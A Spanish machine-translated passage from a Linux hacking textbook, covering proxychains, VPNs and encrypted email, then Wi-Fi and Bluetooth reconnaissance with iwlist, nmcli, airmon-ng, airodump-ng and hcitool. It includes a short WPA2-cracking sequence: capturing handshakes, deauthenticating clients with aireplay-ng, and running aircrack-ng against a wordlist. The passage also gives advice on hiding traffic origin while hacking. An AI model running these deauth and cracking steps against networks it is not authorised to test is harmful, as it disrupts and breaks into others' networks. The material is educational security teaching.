kali >proxychains firefox www.hackers-arise.com

No notará ninguna diferencia, pero su paquete ahora está viajando


a través de varios proxys.

Encadenamiento
dinámico Con varias direcciones IP en nuestro archivo proxychain.conf, podemos
configurar el encadenamiento dinámico, que ejecuta nuestro tráfico a través de
cada proxy en nuestra lista y, si uno de los proxies está inactivo o no responde,
pasa automáticamente al siguiente proxy en el lista sin arrojar un error. Si no
configuramos esto, un solo proxy fallido interrumpiría nuestra solicitud.
Vuelva a su archivo de configuración de proxychains , busque la línea dynamic_chain
(línea 10) y elimínela, como se muestra a continuación. También asegúrese de comentar la
línea strict_chain si aún no lo está.

# cadena_dinámica
#
# Dinámico: cada conexión se realizará a través de proxies encadenados #
todos los proxies encadenados en el orden en que aparecen en la lista # al
menos un proxy debe estar en línea para jugar en cadena --snip--

Esto permitirá el encadenamiento dinámico de nuestros servidores proxy, lo que permitirá


un mayor anonimato y una piratería sin problemas. Guarde el archivo de configuración y no
dude en probarlo.

Encadenamiento

aleatorio Nuestro último truco de proxy es la opción de encadenamiento aleatorio, donde


los proxychains elegirán aleatoriamente un conjunto de direcciones IP de nuestra lista y
las usarán para crear nuestra cadena de proxy. Esto significa que cada vez que usamos
proxychains, el proxy se verá diferente al objetivo, lo que dificultará el seguimiento de
nuestro tráfico desde su origen. Esta opción también se considera "dinámica" porque si uno
de los proxies está caído, saltará al siguiente.
Machine Translated by Google

Regrese al archivo /etc/proxychains.conf y comente las líneas dynamic_chain


y strict_chain agregando un # al comienzo de cada línea; luego elimine el
comentario de la línea random_chain . Solo podemos usar una de estas tres
opciones a la vez, así que asegúrese de comentar las otras opciones antes de
usar proxychains.
A continuación, busque y elimine el comentario de la línea con chain_len y
luego asígnele un número razonable. Esta línea determina cuántas de las
direcciones IP de su cadena se utilizarán para crear su cadena de proxy aleatoria.

# cadena_dinámica #
# Dinámica: cada
conexión se realizará a través de proxies encadenados # todos los proxies encadenados
en el orden en que aparecen en la lista # al menos un proxy debe estar en línea para
jugar en cadena # # cadena_estricta # # Estricta: cada conexión será hecho a través de
proxies encadenados # todos los proxies encadenados en el orden en que aparecen en
la lista # todos los proxies deben estar en línea para jugar en cadena # de lo contrario,
se devuelve EINTR a la aplicación # random_chain # Aleatorio: cada conexión se
realizará a través de un proxy aleatorio # ( o cadena proxy, consulte chain_len) de la
lista. # esta opción es buena para probar tu IDS :)

# Solo tiene sentido si random_chain chain_len


=3

Aquí, descomenté chain_len y le di un valor de 3, lo que significa que


proxychains ahora usará tres proxies de mi lista en el archivo /etc/
proxychains.conf, eligiéndolos al azar y pasando al siguiente si un proxy está
inactivo. Tenga en cuenta que aunque este método ciertamente mejora su
anonimato, también aumenta la latencia de sus actividades en línea.

Ahora que sabe cómo usar proxychains, puede hacer su piratería con relativo
anonimato. Digo "pariente" porque no hay una forma segura de permanecer en el
anonimato con la NSA y el FSB espiando nuestras actividades en línea, pero
podemos hacer que la detección sea mucho más difícil con la ayuda de
cadenas de proxy
Machine Translated by Google

Preocupaciones de seguridad

Como última nota sobre la seguridad del proxy, asegúrese de elegir sabiamente sus
servidores proxy: proxychains es tan bueno como los servidores proxy que utiliza. Si tiene
la intención de permanecer en el anonimato, no use un proxy gratuito, como se mencionó anteriormente.
Los piratas informáticos utilizan proxies pagados en los que se puede confiar. De hecho, es
probable que los proxies gratuitos vendan su dirección IP y su historial de navegación. Como
dijo una vez Bruce Schneier, el famoso criptógrafo y experto en seguridad: “Si algo es gratis,
usted no es el cliente; tú eres el producto”. En otras palabras, es probable que cualquier
producto gratuito recopile sus datos y los venda.
¿Por qué si no iban a ofrecer un proxy gratis?
Aunque la dirección IP de su tráfico que sale del proxy será anónima, existen otras
formas en que las agencias de vigilancia pueden identificarlo. Por ejemplo, el propietario del
proxy conocerá su identidad y, si lo presionan lo suficiente las agencias de espionaje o de
aplicación de la ley con jurisdicción, puede ofrecer su identidad para proteger su negocio. Es
importante ser consciente de las limitaciones de los proxies como fuente de anonimato.

Redes Privadas Virtuales


El uso de una red privada virtual (VPN) puede ser una forma eficaz de mantener el tráfico
web relativamente anónimo y seguro. Una VPN se utiliza para conectarse a un dispositivo
de Internet intermediario, como un enrutador, que envía su tráfico a su destino final etiquetado
con la dirección IP del
enrutador

El uso de una VPN ciertamente puede mejorar su seguridad y privacidad, pero no es


una garantía de anonimato. El dispositivo de Internet al que se conecta debe registrar o
registrar su dirección IP para poder enviarle correctamente los datos, por lo que cualquier
persona que pueda acceder a estos registros puede descubrir información sobre usted.

La belleza de las VPN es que son simples y fáciles de usar.


Puede abrir una cuenta con un proveedor de VPN y luego conectarse sin problemas a la
VPN cada vez que inicie sesión en su computadora. Usaría su navegador como de costumbre
para navegar por la web, pero le parecerá
Machine Translated by Google

cualquiera que vea que su tráfico proviene de la dirección IP y la ubicación del


dispositivo VPN de Internet y no del suyo. Además, todo el tráfico entre usted y el
dispositivo VPN está encriptado, por lo que ni siquiera su proveedor de servicios
de Internet puede ver su tráfico.
Entre otras cosas, una VPN puede ser eficaz para evadir los censores de
contenido e información controlados por el gobierno. Por ejemplo, si su gobierno
nacional limita su acceso a sitios web con un mensaje político particular, es
probable que pueda usar una VPN fuera de su país para acceder a ese contenido.
Algunas corporaciones de medios, como Netflix, Hulu y HBO, limitan el acceso a
su contenido a las direcciones IP que se originan en su propia nación. El uso de
una VPN basada en una nación que esos servicios permiten a menudo puede
ayudarlo a sortear esas limitaciones de acceso.
Algunos de los mejores y más populares servicios VPN comerciales, según
CNET, son los siguientes:

IPVanish
NordVPN
ExpressVPN
ciberfantasma
Rana Dorada VPN
Ocultar mi culo (HMA)
Acceso privado a Internet
PureVPN
TorGuard
VPN con búfer

La mayoría de estos servicios de VPN cobran entre $50 y $100 por año, y
muchos ofrecen una prueba gratuita de 30 días. Para obtener más información
sobre cómo configurar una VPN, elija una de la lista y visite el sitio web. Debería
encontrar instrucciones de descarga, instalación y uso que son bastante fáciles
de seguir.
La fortaleza de una VPN es que todo su tráfico está encriptado cuando sale
de su computadora, lo que lo protege contra la intromisión, y su dirección IP está
oculta por la dirección IP de la VPN cuando visita un sitio. Como
Machine Translated by Google

con un servidor proxy, el propietario de la VPN tiene su dirección IP de origen (de lo contrario,
no podrían enviarle su tráfico). Si los presionan las agencias de espionaje o las fuerzas del
orden, es posible que revelen su identidad. Una forma de evitarlo es usar solo VPN que
prometan no almacenar ni registrar ninguna de esta información (y espero que sean veraces).
De esta forma, si alguien insiste en que el proveedor de servicios VPN entregue sus datos a
sus usuarios, no hay datos.

Correo electrónico encriptado

Los servicios de correo electrónico comerciales gratuitos como Gmail, Yahoo! y Outlook Web
Mail (anteriormente Hotmail) son gratuitos por una razón: son vehículos para rastrear sus
intereses y publicar anuncios. Como ya se mencionó, si un servicio es gratuito, usted es el
producto, no el cliente. Además, los servidores del proveedor de correo electrónico (Google,
por ejemplo) tienen acceso a los contenidos no cifrados de su correo electrónico, incluso si
está utilizando HTTPS.

Una forma de evitar el espionaje de su correo electrónico es utilizar un correo electrónico


encriptado. ProtonMail, que se muestra en la Figura 13-5, cifra su correo electrónico de
principio a fin o de navegador a navegador. Esto significa que su correo electrónico está
encriptado en los servidores de ProtonMail, incluso los administradores de ProtonMail no

pueden leer su correo electrónico.


ProtonMail fue fundado por un grupo de jóvenes científicos en las instalaciones del
supercolisionador CERN en Suiza. Los suizos tienen una larga historia de protección de
secretos (¿recuerdan esas cuentas bancarias suizas de las que tanto han oído hablar?), y los
servidores de ProtonMail están ubicados en la Unión Europea, que tiene leyes mucho más
estrictas con respecto al intercambio de datos personales que los Estados Unidos. ProtonMail
no cobra por una cuenta básica pero ofrece cuentas premium por una tarifa nominal. Es
importante tener en cuenta que cuando se intercambia correo electrónico con usuarios que no
son de ProtonMail, existe la posibilidad de que parte o la totalidad del correo electrónico no se
cifre. Consulte la base de conocimientos de soporte de ProtonMail para obtener detalles
completos.
Machine Translated by Google

Figura 13-5: La pantalla de inicio de sesión de ProtonMail

Resumen
Constantemente estamos siendo vigilados por firmas comerciales y agencias nacionales
de inteligencia. Para mantener sus datos y viajes web seguros, debe implementar al menos
una de las medidas de seguridad que se analizan en este capítulo. Al emplearlos en
combinación, puede minimizar su huella en la web y mantener sus datos mucho más
seguros.

EJERCICIOS

Antes de pasar al Capítulo 14, pruebe las habilidades que aprendió en este capítulo
completando los siguientes ejercicios:

1. Ejecute traceroute a su sitio web favorito. Cuantos saltos aparecen entre ustedes
y tu sitio favorito?
2. Descargue e instale el navegador Tor. Ahora, navegue de forma anónima por la web
como lo haría con cualquier otro navegador y vea si nota alguna diferencia en la
velocidad.
Machine Translated by Google

3. Intente usar proxychains con el navegador Firefox para navegar a su favorito


sitio web.

4. Explore los servicios VPN comerciales de algunos de los proveedores enumerados en este capítulo.
Elija uno y pruebe una prueba gratuita.

5. Abra una cuenta gratuita de ProtonMail y envíe un saludo seguro a


ocupanlaweb@protonmail.com.
Machine Translated by Google

14
ENTENDIENDO E INSPECCIONANDO
REDES INALÁMBRICAS

La capacidad de buscar y conectarse a otros dispositivos de red desde su


sistema es crucial para convertirse en un hacker exitoso, y con tecnologías
inalámbricas como Wi-Fi (IEEE 802.1) y Bluetooth convirtiéndose en el
estándar, encontrar y controlar conexiones Wi-Fi y Bluetooth es llave. Si
alguien puede piratear una conexión inalámbrica, puede acceder a un
dispositivo y acceder a información confidencial. El primer paso, por supuesto,
es aprender a encontrar estos dispositivos.
En el Capítulo 3, vimos algunos comandos básicos de redes en Linux,
incluidos algunos de los fundamentos de las redes inalámbricas, con la
promesa de que habrá más redes inalámbricas en el Capítulo 14. Como
prometimos, aquí examinamos dos de las tecnologías inalámbricas más
comunes en Linux: WiFi y Bluetooth.

redes wifi
Comenzaremos con Wi-Fi. En esta sección, le mostraré cómo encontrar,
examinar y conectarse a puntos de acceso Wi-Fi. Antes de hacerlo,
dediquemos un poco de tiempo a repasar algunos términos y tecnologías básicos de Wi-Fi.
Machine Translated by Google

para ayudarlo a comprender mejor el resultado de muchas de las consultas que haremos
en este capítulo: AP (punto de acceso) Este es el dispositivo al que se conectan los

usuarios inalámbricos para acceder a Internet.

ESSID (identificador de conjunto de servicios extendidos) Es lo mismo que el SSID,


que analizamos en el Capítulo 3, pero se puede usar para varios puntos de acceso
en una LAN inalámbrica.

BSSID (identificador de conjunto de servicios básicos) Este es el identificador único


de cada AP, y es lo mismo que la dirección MAC del dispositivo.

SSID (identificador de conjunto de servicios) Este es el nombre de la red.

Canales Wi-Fi puede operar en cualquiera de los 14 canales (1–14). En los Estados
Unidos, Wi-Fi está limitado a los canales 1 a 11.

Potencia Cuanto más cerca esté del punto de acceso Wi-Fi, mayor será la potencia y
más fácil será descifrar la conexión.

Seguridad Este es el protocolo de seguridad utilizado en el punto de acceso Wi-Fi


desde el que se lee. Hay tres protocolos de seguridad principales para Wi-Fi. El
original, Wired Equivalent Privacy (WEP), tenía graves fallas y era fácil de descifrar.
Su reemplazo, Wi-Fi Protected Access (WPA), era un poco más seguro. Finalmente,
WPA2-PSK, que es mucho más seguro y utiliza una clave precompartida (PSK) que
todos los usuarios comparten, ahora es utilizado por casi todos los puntos de acceso
Wi-Fi (excepto Wi-Fi empresarial).

Modos Wi-Fi puede operar en uno de tres modos: administrado, maestro o monitor.
Aprenderá lo que significan estos modos en la siguiente sección.

Alcance inalámbrico En los Estados Unidos, un punto de acceso Wi-Fi debe transmitir
legalmente su señal a un límite superior de 0,5 vatios. A esta potencia, tiene un
alcance normal de unos 100 metros (300 pies). Las antenas de alta ganancia pueden
extender este rango hasta 20 millas.

La frecuencia Wi-Fi está diseñada para funcionar en 2,4 GHz y 5 GHz.


Los AP Wi-Fi modernos y las tarjetas de red inalámbrica a menudo usan ambos.
Machine Translated by Google

Comandos inalámbricos básicos


En el Capítulo 3, se le presentó el comando de red básico de Linux ifconfig, que
enumera cada interfaz de red activada en su sistema junto con algunas
estadísticas básicas, incluida (lo más importante) la dirección IP de cada interfaz.
Echemos otro vistazo a los resultados de ejecutar ifconfig y centrémonos en las
conexiones inalámbricas esta vez.

kali >ifconfig
eth0Linkencap:EthernetHWaddr 00:0c:29:ba:82:0f inet
addr:192:168.181.131 Bcast:192.168.181.255 Máscara:255.255.255.0 --snip-- lo Linkencap:Local
Loopback inet addr:127.0. 0.1 Máscara: 255.0.0.0 --recorte--

ÿ wlan0 Enlace encap:EthernetHWaddr 00:c0:ca:3f:ee:02

La interfaz Wi-Fi aquí se muestra como wlan0 ÿ. En Kali Linux, las interfaces
Wi-Fi generalmente se designan como wlanX, donde X representa el número de
esa interfaz. En otras palabras, el primer adaptador Wi-Fi de su sistema se
etiquetaría como wlan0, el segundo como wlan1, y así sucesivamente.
Si solo desea ver sus interfaces Wi-Fi y sus estadísticas, Linux tiene un
comando específico que es similar a ifconfig pero dedicado a la conexión
inalámbrica. Ese comando es iwconfig. Cuando lo ingresa, solo se muestran
sus interfaces inalámbricas y sus datos clave:

kali >iwconfig lo sin


extensiones
inalámbricas

wlan0 IEEE 802.11bg ESSID: desactivado/cualquiera


Modo: Punto de acceso administrado: Potencia Tx no asociada = 20 dBm
Reintentar límite corto:7 RTS thr:off Fragmento thr:off
Clave de cifrado: desactivada
Administración de energía: apagado

eth0 sin extensiones inalámbricas

Aquí, vemos solo las interfaces inalámbricas, también conocidas como


tarjetas de red, y datos clave sobre ellas, incluido el estándar inalámbrico
utilizado, si el ESSID está desactivado y el modo. El modo tiene tres
configuraciones: administrado, lo que significa que está listo para unirse o se ha
unido a un AP; maestro, lo que significa que está listo para actuar como o ya es un AP; y monit
Machine Translated by Google

discutiremos un poco más adelante en el capítulo. También podemos ver si algún


cliente tiene asociado y cuál es su potencia de transmisión, entre otras cosas. Puede
ver en este ejemplo que wlan0 está en el modo requerido para conectarse a una red
Wi-Fi pero aún no está conectado a ninguna.
Volveremos a revisar este comando una vez que la interfaz inalámbrica esté conectada
a una red Wi-Fi.

Si no está seguro de a qué punto de acceso Wi-Fi desea conectarse, puede ver
todos los puntos de acceso inalámbrico a los que puede llegar su tarjeta de red
mediante el comando iwlist . La sintaxis de iwlist es la siguiente:

acción de interfaz iwlist

Puede realizar múltiples acciones con iwlist. Para nuestros propósitos, usaremos
la acción de escaneo para ver todos los puntos de acceso Wi-Fi en su área. (Tenga
en cuenta que con una antena estándar, su alcance será de 300 a 500 pies, pero esto
se puede ampliar con una antena económica de alta ganancia).

kali >iwlist wlan0 scan


wlan0 EscaneoCelda
completado:
01 -
Dirección:88:AD:43:75:B3:82 Canal:1
Frecuencia:2.412GHz (Canal 1)

Calidad=70/70 Nivel de señal =-38 dBm Clave


de cifrado: desactivada ESSID: "Hackers-
Arise"
--recorte--

La salida de este comando debe incluir todos los AP Wi-Fi dentro del alcance de
su interfaz inalámbrica, junto con datos clave sobre cada AP, como la dirección MAC
del AP, el canal y la frecuencia en la que está operando, su calidad, su señal nivel, si
su clave de cifrado está habilitada y su ESSID.

Necesitará la dirección MAC del AP de destino (BSSID), la dirección MAC de un


cliente (otra tarjeta de red inalámbrica) y el canal en el que opera el AP para realizar
cualquier tipo de piratería, por lo que esta es información valiosa.

Otro comando que es muy útil para administrar sus conexiones Wi-Fi es nmcli (o
la interfaz de línea de comandos del administrador de red). El demonio de Linux que
proporciona una interfaz de alto nivel para la red
Machine Translated by Google

interfaces (incluidas las inalámbricas) se conoce como administrador de red.


En general, los usuarios de Linux están familiarizados con este demonio por su diseño gráfico.
interfaz de usuario (GUI), pero también se puede utilizar desde la línea de comandos.

El comando nmcli se puede usar para ver los AP Wi-Fi cerca de usted y
sus datos clave, como hicimos con iwlist, pero este comando nos da un poco
más información. Lo usamos en el formato nmcli dev networktype, donde dev
es la abreviatura de dispositivos y el tipo (en este caso) es wifi, así:

kali >nmcli dev wifi


* SSID MODO TASA DE CAMBIO BARRAS DE SEGURIDAD
Hackers-Arise Infra 1 54 Mbits/s SEÑAL 100 75 44 WPA1 WPA2
xfinitywifi Infraestructura 1 54 Mbits/s WPA2
TPTV1 Infra 11 54 Mbits/s WPA1 WPA2
--recorte--

Además de mostrar los puntos de acceso Wi-Fi dentro del alcance y los datos clave
sobre ellos, incluyendo el SSID, el modo, el canal, la tasa de
transferencia, la intensidad de la señal y los protocolos de seguridad habilitados en el
dispositivo, nmcli se puede usar para conectarse a puntos de acceso. La sintaxis para conectarse a un
AP es el siguiente:

nmcli dev wifi conectar AP-SSID contraseña APpassword

Entonces, según los resultados de nuestro primer comando, sabemos que hay un
AP con un SSID de Hackers-Arise. También sabemos que tiene WPA1 WPA2
seguridad (esto significa que el AP es capaz de usar tanto el antiguo
WPA1 y el nuevo WPA2), lo que significa que tendremos que proporcionar el
contraseña para conectarse a la red. Afortunadamente, como es nuestro AP, tenemos
Sabemos que la contraseña es 12345678, por lo que podemos ingresar lo siguiente:

kali >nmcli dev wifi conectar Hackers-Arise contraseña 12345678


El dispositivo 'wlan0' se activó con éxito con '394a5bf4-8af4-36f8-49beda6cb530'.

Pruebe esto en una red que conozca y luego, cuando tenga


correctamente conectado a ese punto de acceso inalámbrico, ejecute iwconfig nuevamente para ver qué
ha cambiado. Aquí está mi resultado de conectarme a Hackers-Arise:

veces >iwconfig
no hay extensiones inalámbricas

wlan0 IEEE 802.11bg ESSID: "Hackers: se levantan"


Machine Translated by Google

Modo: administrado Frecuencia: 2,452 GHz Punto de acceso:


00:25:9C:97:4F:48 Tasa de bits = 12 Mbs Tx-Power = 20 dBm Límite corto
de reintento: 7 RTS thr:off Fragmento thr:off Clave de cifrado:off Power
Gestión: desactivada Calidad de enlace = 64/70 Nivel de señal = -46 dBm
Rx nwid no válido: 0 Rx crypt no válido: 0 Rx fragmento no válido: 0
Reties excesivos de Tx: 0 Misc no válido: 13 Baliza perdida: 0

eth0 sin extensiones inalámbricas

Tenga en cuenta que ahora iwconfig ha indicado que el ESSID es "Hackers-Arise"


y que el AP está funcionando a una frecuencia de 2,452 GHz. En una red Wi-Fi, es posible
que varios AP formen parte de la misma red, por lo que puede haber muchos AP que
compongan la red Hackers-Arise . La dirección MAC 00:25:9C:97:4F:48 es, como era de
esperar, la MAC del AP al que estoy conectado. El tipo de seguridad que usa una red Wi-
Fi, si se ejecuta a 2,4 GHz o 5 GHz, cuál es su ESSID y cuál es la dirección MAC del AP
son datos críticos necesarios para la piratería de Wi-Fi. Ahora que conoce los comandos
básicos, comencemos un poco de piratería.

Reconocimiento de Wi-Fi con aircrack-ng

Uno de los exploits más populares para los nuevos piratas informáticos es descifrar los
puntos de acceso Wi-Fi. Como se mencionó, antes de que pueda considerar atacar un
punto de acceso Wi-Fi, necesita la dirección MAC del punto de acceso objetivo (BSSID),
la dirección MAC de un cliente y el canal en el que está operando el punto de acceso.
Podemos obtener toda esa información y más utilizando las herramientas de la suite
aircrack-ng. He mencionado este conjunto de herramientas de pirateo de Wi-Fi varias
veces antes, y ahora es el momento de usarlo. Este conjunto de herramientas se incluye
en todas las versiones de Kali, por lo que no necesita descargar ni instalar nada.

Para usar estas herramientas de manera efectiva, primero debe poner su tarjeta de
red inalámbrica en modo de monitor para que la tarjeta pueda ver todo el tráfico que pasa
por su camino. Normalmente, una tarjeta de red captura solo el tráfico destinado
específicamente para esa tarjeta. El modo de monitor es similar al modo promiscuo en las
tarjetas de red cableadas.
Machine Translated by Google

Para poner su tarjeta de red inalámbrica en modo monitor, use el comando airmon-
ng de la suite aircrack-ng. La sintaxis de este comando es simple:

airmon-ng iniciar|detener|reiniciar interfaz

Entonces, si desea poner su tarjeta de red inalámbrica (designada como wlan0) en


modo monitor, debe ingresar lo siguiente:

kali> airmon-ng iniciar wlan0

Se encontraron tres procesos que podrían causar problemas.


Si airodump-ng, aireplay-ng o airtun-ng dejan de funcionar después de un breve
período de tiempo, es posible que desee ejecutar 'airmon-ng check kill' --snip--

PHY INTERFAZ conjunto de chips

phy0 wlan0 CONDUCTOR rt18187


Realtek Semiconductor Corop RTL8187

(modo monitor mac8311 vif habilitado para [phy0]wlan0 en [phy0]wlan0mon)

--recorte--

Los comandos de parada y reinicio , respectivamente, detener el modo de monitor y


reinicie el modo de monitor si tiene problemas.
Con su tarjeta inalámbrica en modo monitor, puede acceder a todo el tráfico
inalámbrico que pasa dentro del alcance de su adaptador de red inalámbrica y antena
(el estándar es de aproximadamente 300 a 500 pies). Tenga en cuenta que airmon
ng cambiará el nombre de su interfaz inalámbrica: la mía ha sido renombrada como
"wlan0mon", aunque la suya puede ser diferente. Asegúrese de anotar el nuevo nombre
designado de su red inalámbrica porque necesitará esa información en el siguiente
paso.
Ahora usaremos otra herramienta de la suite aircrack-ng para encontrar datos clave
del tráfico inalámbrico. El comando airodump-ng captura y muestra los datos clave de
los AP de transmisión y cualquier cliente conectado a esos AP o en las inmediaciones.
La sintaxis aquí es sencilla: simplemente conecte airdump-ng, seguido del nombre de
la interfaz que obtuvo al ejecutar airmon-ng en este momento. Cuando emita este
comando, su tarjeta inalámbrica recogerá información crucial (enumerada a continuación)
de todo el tráfico inalámbrico de los puntos de acceso cercanos:

BSSID La dirección MAC del AP o cliente


Machine Translated by Google

PWR La fuerza de la señal

ENC El cifrado utilizado para asegurar la transmisión.

#Data La tasa de rendimiento de datos

CH El canal en el que está operando el AP


ESSID El nombre del AP

kali> airodump-ng wlan0mon

CH 9][ Transcurrido: 28 s ][ 2018-02-08 10:27

BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID 26 0 10 54e WPA2
01: 01: AA: BB: CC: 22 -1 -- 4 CCMP PSK Hackers-Arise
recorte--

BSSID Estación Sonda de fotogramas perdidos de tasa PWR


(no asociada) 01:01:AA:BB:CC:22
01:02:CC:DD:03:CF A0:A3:E2:44:7C:E5

Tenga en cuenta que airodump-ng divide la pantalla de salida en una parte


superior e inferior. La parte superior tiene información sobre los AP de transmisión,
incluido el BSSID, la potencia del AP, cuántos marcos de baliza se han detectado, la
tasa de rendimiento de datos, cuántos paquetes han atravesado la tarjeta inalámbrica,
el canal (1-14), el límite de rendimiento teórico, el protocolo de cifrado, el cifrado
utilizado para el cifrado, el tipo de autenticación y el ESSID (comúnmente denominado
SSID). En la porción del cliente, la salida nos dice que un cliente no está asociado, lo
que significa que ha sido detectado pero no está conectado a ningún AP, y que otro
está asociado con una estación, lo que significa que está conectado al AP en esa
dirección.

¡Ahora tienes toda la información que necesitas para descifrar el AP!


Aunque está más allá del alcance de este libro, para descifrar el AP inalámbrico,
necesita la dirección MAC del cliente, la dirección MAC del AP, el canal en el que está
operando el objetivo y una lista de contraseñas.
Entonces, para descifrar la contraseña de Wi-Fi, abriría tres terminales. En la
primera terminal, ingresaría comandos similares a los siguientes, completando las
direcciones MAC del cliente y AP y el canal:

airodump-ng -c 10 --bssid 01:01:AA:BB:CC:22 -w Hackers-ArisePSK wlan0mon


Machine Translated by Google

Este comando captura todos los paquetes que atraviesan el AP en el canal


10 usando la opción -c .
En otra terminal, puede usar el comando aireplay-ng para desconectar
(desautenticar) a cualquier persona conectada al AP y forzarlos a volver a autenticarse
en el AP, como se muestra a continuación. Cuando se vuelven a autenticar, puede
capturar el hash de su contraseña que se intercambia en el protocolo de enlace de
cuatro vías WPA2-PSK. El hash de la contraseña aparecerá en la esquina superior
derecha de la terminal airodump-ng .

aireplay-ng --deauth 100 -a 01:01:AA:BB:CC:22-c A0:A3:E2:44:7C:E5 wlan0mon

Finalmente, en la terminal final, puede usar una lista de contraseñas (wordlist.dic)


para encontrar la contraseña en el hash capturado (Hackers-ArisePSK.cap), como se
muestra aquí:

aircrack-ng -w lista de palabras.dic -b 01:01:AA:BB:CC:22 Hacker-ArisePSK.cap

Detección y conexión a Bluetooth En estos días, casi


todos los dispositivos, dispositivos móviles y sistemas tienen Bluetooth
incorporado, incluidas nuestras computadoras, teléfonos inteligentes, iPods,
tabletas, parlantes, controladores de juegos, teclados y muchos otros dispositivos.
Ser capaz de piratear Bluetooth puede comprometer cualquier información en el
dispositivo, el control del dispositivo y la capacidad de enviar información no deseada
hacia y desde el dispositivo, entre otras cosas.
Para explotar la tecnología, necesitamos entender cómo funciona. Una
comprensión profunda de Bluetooth está más allá del alcance de este libro, pero le
daré algunos conocimientos básicos que lo ayudarán a buscar y conectarse a
dispositivos Bluetooth en preparación para piratearlos.

Cómo funciona Bluetooth

Bluetooth es un protocolo universal para comunicación de campo cercano de baja


potencia que funciona a 2,4–2,485 GHz mediante espectro ensanchado, saltos de
frecuencia a 1600 saltos por segundo (este salto de frecuencia es una medida de
seguridad). Fue desarrollado en 1994 por Ericsson Corp. de
Machine Translated by Google

Suecia y lleva el nombre del rey danés del siglo X, Harald Bluetooth (tenga en cuenta que Suecia
y Dinamarca eran un solo país en el siglo X).

La especificación Bluetooth tiene un alcance mínimo de 10 metros, pero no hay límite para el
rango superior que los fabricantes pueden implementar en sus dispositivos. Muchos dispositivos
tienen rangos de hasta 100 metros. Con antenas especiales, ese rango puede extenderse aún
más.

La conexión de dos dispositivos Bluetooth se conoce como emparejamiento. Prácticamente


dos dispositivos Bluetooth pueden conectarse entre sí, pero solo pueden emparejarse si están en
modo detectable. Un dispositivo Bluetooth en modo detectable transmite la siguiente información:

Nombre

Clase

Lista de servicios

Información técnica

Cuando los dos dispositivos se emparejan, intercambian una clave secreta o de enlace. Cada
almacena esta clave de enlace para que pueda identificar al otro en futuros emparejamientos.

Cada dispositivo tiene un identificador único de 48 bits (una dirección similar a MAC) y, por lo
general, un nombre asignado por el fabricante. Estos serán datos útiles cuando queramos identificar
y acceder a un dispositivo.

Escaneo y reconocimiento de Bluetooth Linux tiene una

implementación de la pila de protocolos de Bluetooth llamada BlueZ que


usaremos para buscar señales de Bluetooth. La mayoría de las distribuciones
de Linux, incluida Kali Linux, lo tienen instalado de forma predeterminada. Si
el tuyo no lo tiene, normalmente puedes encontrarlo en tu repositorio usando
el siguiente comando:

kali >apt-get install bluez

BlueZ tiene una serie de herramientas simples que podemos usar para administrar y escanear
Dispositivos Bluetooth, incluidos los siguientes:
Machine Translated by Google

hciconfig Esta herramienta funciona de manera muy similar a ifconfig en Linux, pero para
dispositivos Bluetooth. Como puede ver en el Listado 14-1, lo he usado para abrir la interfaz de
Bluetooth y consultar las especificaciones del dispositivo. hcitool Esta herramienta de consulta

puede proporcionarnos el nombre del dispositivo, la identificación del dispositivo, la clase del
dispositivo y la información del reloj del dispositivo, lo que permite que los dispositivos funcionen
sincrónicamente. hcidump Esta herramienta nos permite rastrear la comunicación Bluetooth,

lo que significa que podemos capturar los datos enviados a través de la señal Bluetooth.

El primer paso de escaneo y reconocimiento con Bluetooth es verificar si el adaptador


Bluetooth en el sistema que estamos usando está reconocido y habilitado para que podamos
usarlo para buscar otros dispositivos. Podemos hacer esto con la herramienta integrada
BlueZ hciconfig, como se muestra en el Listado 14-1.

kali >hciconfig
hci0: Tipo: BR/EDR Bus: USB
Dirección BD: 10: AE: 60: 58: F1: 37 ACL MAN: 310: 10 SCO MAN: 64: 8
CONSULTA DE PSCAN EN EJECUCIÓN
RX bytes:131433 acl:45 sco:0 eventos:10519 errores:0
TX bytes: 42881 acl: 45 sco: 0 comandos: 5081 errores: 0

Listado 14-1: Buscando un dispositivo Bluetooth

Como puede ver, mi adaptador Bluetooth se reconoce con una dirección MAC de
10:AE:60:58:F1:37. Este adaptador se ha denominado hci0. El siguiente paso es comprobar
que la conexión está habilitada, cosa que también podemos hacer con hciconfig
proporcionando el nombre y el mando: arriba

kali >hciconfig hci0 arriba

Si el comando se ejecuta con éxito, no deberíamos ver ningún resultado, solo un nuevo
aviso.
¡Bien, hci0 está listo y listo! Pongámoslo a trabajar.

Búsqueda de dispositivos Bluetooth con hcitool


Ahora que sabemos que nuestro adaptador está activo, podemos usar otra herramienta en el
Paquete BlueZ llamado hcitool, que se usa para buscar otros dispositivos Bluetooth
Machine Translated by Google

dispositivos dentro del alcance.

Primero usemos la función de escaneo de esta herramienta para buscar dispositivos


Bluetooth que estén enviando sus balizas de descubrimiento, lo que significa que están en
modo de descubrimiento, con el comando de escaneo simple que se muestra en el Listado 14-2.

kali >hcitool scan


Escaneo...
72: 6E: 46: 65: 72: 66 ANDROID BT
22: C5: 96: 08: 5D: 32 SCH-I535

Listado 14-2: Búsqueda de dispositivos Bluetooth en modo descubrimiento

Como puede ver, en mi sistema, hcitool encontró dos dispositivos, ANDROID BT y SCH-
I535. Es probable que el suyo le proporcione una salida diferente según los dispositivos que
tenga. Para fines de prueba, intente poner su teléfono u otro dispositivo Bluetooth en modo
de descubrimiento y vea si se detecta en el escaneo.

Ahora recopilemos más información sobre los dispositivos detectados con


la función de consulta inq:

kali >hcitool inq


Preguntando...
24:C6:96:08:5D:33 compensación de reloj: clase:0x5a020c
76:6F:46:65:72:67 0x4e8b compensación de reloj: 0x21c0 clase:0x5a020c

Esto nos da las direcciones MAC de los dispositivos, el reloj de configuración y la clase
de los dispositivos. La clase indica qué tipo de dispositivo Bluetooth encontró, y puede buscar
el código y ver qué tipo de dispositivo es yendo al sitio Bluetooth SIG en https://
www.bluetooth.org/en-us/specification/ números asignados/ descubrimiento de servicios/.

La herramienta hcitool es una poderosa interfaz de línea de comandos para la pila de


Bluetooth que puede hacer muchas, muchas cosas. El Listado 14-3 muestra la página de
ayuda con algunos de los comandos que puede usar. Eche un vistazo a la página de ayuda
para ver la lista completa.

kali >hcitool --help hcitool


- Herramienta HCI ver 4.99 Uso:

hcitool [opciones] <comando> [parámetros de comando]


Machine Translated by Google

Opciones:
--ayuda Mostrar ayuda
-i dispositivo HCI dev

Comandos
dev Mostrar dispositivos locales
inq Consultar dispositivos remotos
escanear Buscar nombre de
dispositivos remotos Obtener nombre de
dispositivos remotos --snip--

Listado 14-3: Algunos comandos de hcitool

Muchas herramientas para hackear Bluetooth que verá simplemente usan estos comandos
